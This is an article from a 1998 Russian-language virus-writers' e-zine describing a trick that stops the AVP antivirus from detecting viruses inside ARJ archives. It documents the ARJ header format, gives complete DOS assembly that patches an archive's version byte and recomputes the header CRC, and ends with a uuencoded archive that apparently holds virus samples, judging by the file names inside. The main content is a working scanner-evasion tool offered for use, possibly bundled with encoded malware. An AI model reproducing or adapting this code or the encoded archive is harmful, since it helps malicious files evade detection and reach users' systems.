[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 9, Dec 1998                                           file 00C

                               stealth in arj;)
                                                by VVS

     Изменяем  заголовок  arj-архива  и  avp перестает детектить вири в аржах.
Тупо все это, но т.к. avp в следующем году выпустит лечилку для архивов, то...

=== Cut ===
   Arj comment/file packet header type :

OFFSET LABEL       TYP  VALUE        DESCRIPTION
------ ----------- ---- ----------- ----------------------------------
00     ARJSIG      DW   EA60        Local File Header Signature
02     HEADERSIZE  DW   0000        Header size , variable
04     INTERNSIZE  DB   00          Size between here and host data
05     VERSIONBY   DB   00          Version made by
06     VERSIONMIN  DB   00          Minimum version need to extract
07     HOSTOS      DB   00          Host operating system

       value: 0 = MSDOS        3 = AMIGA       6 = APPLE GS    9 = VAX VMS
              1 = PRIMOS       4 = MAC-OS      7 = ATARI ST
              2 = UNIX         5 = OS/2        8 = NEXT

08     FLAGS       DB   00          Flags

       Value: 1 = GARBLED_FLAG
              2 = NOT USED
              4 = VOLUME_FLAG
              8 = EXTFILE_FLAG
              10h = PATHSYM_FLAG
              20h = BACKUP_FLAG

09     CMPMETHOD   DB   00          Compression method

        Value: 0 = STORED                       1 = MOST COMPRESSED
               2 = MIDDLE PLUS COMPRESSED       3 =MIDDLE FAST COMPRESSION
               4 = FASTEST COMPRESSED

0A     FILETYPE    DB   00          Type of the file

        Value: 0 = BINARY       1 = 7-BIT TEXT
               3 = DIRECTORY    4 = VOLUMELABEL

0B     RESERVED    DB   'Z'         always 'Z' (not sure)
0C     DOSTIME     DW   0000        Time of creation of the file,Dos style
0E     DOSDATE     DW   0000        Date of creation of the file,Dos style
10     COMPRESSIZ  HEX  00000000    Compressed size
14     ORIGSIZ     HEX  00000000    Uncompressed size
18     CRC32       HEX  00000000    The CRC32 of compressed datas
1C     FILENAME    DS   ?           Filename with Null-End
??     COMMENT     DS   ?           Comment with Null-End
??     HEADCRC32   HEX  00000000    CRC32 of the header
??     EXTENDHEAD  DW   0           Extended Header - Unused
=== Cut ===

.model tiny
.code
.286
.startup
          mov   ax,3d02h
          mov   dx,offset arjname
          int   21h
          jc    exit

          xchg  ax,bx
          mov   ah,3fh
          mov   cx,100h
          mov   dx,offset buffer
          int   21h

          push  bx
          mov   di,offset buffer
          mov   byte ptr ds:[di+6],4 ; Minimum version need to extract
          mov   bx,word ptr ds:[di+2]; header size
          lea   di,[di+bx+4]

          mov   bx,di
          sub   di,(offset buffer+4) ; length
          lea   si,[buffer+4]
          call  calculate_crc
          mov   [bx],cx              ; CRC32 of the header
          mov   [bx+2],dx            ;
          pop   bx
          mov   ax,4200h
          xor   cx,cx
          xor   dx,dx
          int   21h

          mov   ah,40h
          mov   cx,100h
          mov   dx,offset buffer
          int   21h

          mov   ah,3eh
          int   21h
exit:
          ret

calculate_crc:
          cld
          push  bx
          mov   cx,0ffffh
          mov   dx,cx
next3:
          xor   ax,ax
          xor   bx,bx
          lodsb
          xor   al,cl
          mov   cl,ch
          mov   ch,dl
          mov   dl,dh
          mov   dh,8
next2:
          shr   bx,1
          rcr   ax,1
          jae   next1
          xor   ax,08320H
          xor   bx,0EDB8H
next1:
          dec   dh
          jne   next2
          xor   cx,ax
          xor   dx,bx
          dec   di
          jne   next3
          not   dx
          not   cx
          pop   bx
          mov   ax,dx
          ror   ax,cl
          add   ax,cx
          ret

arjname   db    'test.arj',0
buffer:
end

=== Cut ===
section 1 of 1 of file avp&arj.arj    -={ UUE 1.06, ARA (C) 1995 }=-

begin 644 avp&arj.arj  12-4-1998 19:43:6
M8.HK`!X'`0`0``)B8IV$)6*=A"4``````````````````$%64"9!4DHN05)*
M``!4IWD@``!@ZB@`'@<!`!`!`&+)*U`E3`(``,0)```<A_*G```@````1$5!
M1"Y#3U\``+S2*1D```(B8ML6-+_97W<JA-;X8JHKMK+#4+M2F6(((Q=6GX(<
MCA*&(&5?@B7-WO!2TE-2Z.I$HV"Q>YC9E$U<$@ZUSP5@FPG;(59^#$$Y52GL
M.)1:R"\E^<[\N\PT0,.06!84$')G$ER5@D5>JE2I4J5*O^Q)V"]VO\R5X3OP
M=@/G[_1PBLT["PZ,J[R\[UO7YVD4]P\%^<5QF+%B5?G84C;3S!')F]>`('NS
MED^:@OF&_'C^./\B90,B?X'ZE`6+-G9-0XLPR(++D2[5GBN<5?&N1&Z>@8OC
M=U3/+,=TG[]I$TM@E09EOYH]^ZS_.P^V;E>K*P6]`W0;,A]D-WIXIANB@9-1
M2JJ\S$S$]\0N]XB-7XHDQ)P7\NCJ(]BS?54--RG0D41_61G98ZD)]1C=`$N]
M>$CIPAM$^J"%SWDJ%RI=[X"1T81.I-\!)W>>0WOM2Z>TL4!%CW`4`EM$AS@1
M=B3\`126J82`3?HP!.K-`38<H1N8X,-U[@P_FXW:4K:)(\T6U04%MHXNFO.F
M27G4BDTS-%F^3/!;QIG4:@,"\J"]59(V+D)#@`3=/[F55\TV+EPIK\1'S`;C
M=XCQ:WT@]'8B98J:VY;+/-/9J0T@&IZ@*)`7,:)-(P[<2D7:N?I)'9"1R"HG
MYX*`6PZ\6]A<@=<)37,0`DZ$&(PZ9=<PI0[GMS[#A6N[Z[='6!"WX^2(^I1'
M_1THMY%K[AS[$=N0IR:G6`LNE23T4`:N!)TIH7ET/]Y!:N2^O<AUD-;#;NY/
M$MK-QCX\W`HZVQW5F+AUH&#J+``>!P$`$`$`8L=I<"52`0``/`(``$2-OUL`
M`"````!&4DE%3D0M0BY#3U\``(_'-/,```$W8GWUB6^?_O<R?2%8$L5@^?<3
M@4$:28I)2"XF%JJZD5*4CZKH.!%3E[`A8&.R+0A9[%%@A"P^P/<QS`HX^RVB
MP1X&"P01#1'5^;?R&$&FRO#,$O&<;\5-)&?QS1R*E%$>F_'`A0L_+S(3SB>C
M/H4:DY'DICVJ22:5(=#D&?)/&\/H)H_Z>.2DFI2&?.4X7K[]2=H3>#0ARH\I
MRQ(,N1A+8H68+GM\L)(A;P-]TG\7[!%7`DQ;*!?7$7N!.`Q>$66%J"@NU1U`
MFV)-P>9'ZQH?B'.'23<6C&+@87F`CXO*&\Z)DLG=\,TD>WG@R<7.!A`1<@+0
M:UO1$N@)DXFPR=:#79.LN/!3YK?:OJV8C"JQ-2F:K?Q&NW[==VNWTA5VY[1U
M19OOT?U\"L,*9L7!\*WVU;QN("6VVL?'=76/1W8L;/TIANYT%RR==`*H`$QH
'S@_\8.H``,
`
end
sum -r/size 60436/1547 section (from "begin" to "end")
sum -r/size 24101/1087 entire input file
=== Cut ===